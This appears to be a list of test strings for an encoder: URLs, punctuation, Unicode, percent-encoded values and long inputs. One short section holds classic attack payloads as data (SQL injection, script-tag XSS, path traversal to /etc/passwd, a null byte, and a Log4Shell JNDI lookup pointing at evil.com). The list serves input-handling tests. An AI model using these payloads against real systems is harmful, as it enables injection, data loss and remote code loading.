abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
()[]{}&#lt;&#gt;
+-*/=%^
.,!?:;&#27;&#quot;
@#$&#amp;_~`|\

hello world
test string
simple-test

path/to/resource
query?param=value
anchor#section
email@example.com
array[0]
protocol://host

key=value&#amp;another=test
first;second;third
item,item,item
name:value
path/to/file.txt

Hello World!
What&#27;s happening?
100% complete
$50 price tag
Amount: $100
It&#27;s a test (with parentheses)
Star * asterisk
Plus + sign

100%
&#lt;html&#gt;
data&#amp;more&#amp;data
file path with spaces
parameter=value&#amp;other=data

caf&#eacute;
na&#iuml;ve
se&#ntilde;or
&#65e5;&#672c;&#8a9e;
&#1f680;
r&#eacute;sum&#eacute;
Z&#uuml;rich

/
//
///
?
&#amp;
=
%
%%

 
    

&#27;; DROP TABLE users--
&#lt;script&#gt;alert(&#27;xss&#27;)&#lt;/script&#gt;
../../../etc/passwd
%00null
${jndi:ldap://evil.com}

this-is-a-very-long-string-that-might-be-used-to-test-buffer-handling-and-performance-characteristics-of-the-encoder
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

user@domain.com?redirect=https://example.com/path?query=value&#amp;other=data
https://example.com/search?q=hello world&#amp;lang=en&#amp;sort=date
/api/v1/users?filter[name]=John Doe&#amp;include=posts,comments

hello%20world
100%25
caf%C3%A9

line1\nline2
col1\tcol2

~tilde
`backtick
^caret
{curly}
|pipe|

&#quot;double quotes&#quot;
&#27;single quotes&#27;
it&#27;s
&#quot;mixed &#27;quotes&#27; test&#quot;

2+2=4
x^2
$100
&#euro;50
&#pound;30
&#yen;1000

/users/123/posts/456
/search?q=test+query
/path/to/resource.html?param1=value1&#amp;param2=value2
http://example.com:8080/path
ftp://files.example.com/document.pdf

!!!
???
...
---
___
===

(parentheses)
[square brackets]
{curly braces}
&#lt;angle brackets&#gt;

\r\n
\t\t\t
\0

%2520
%253A
%252F
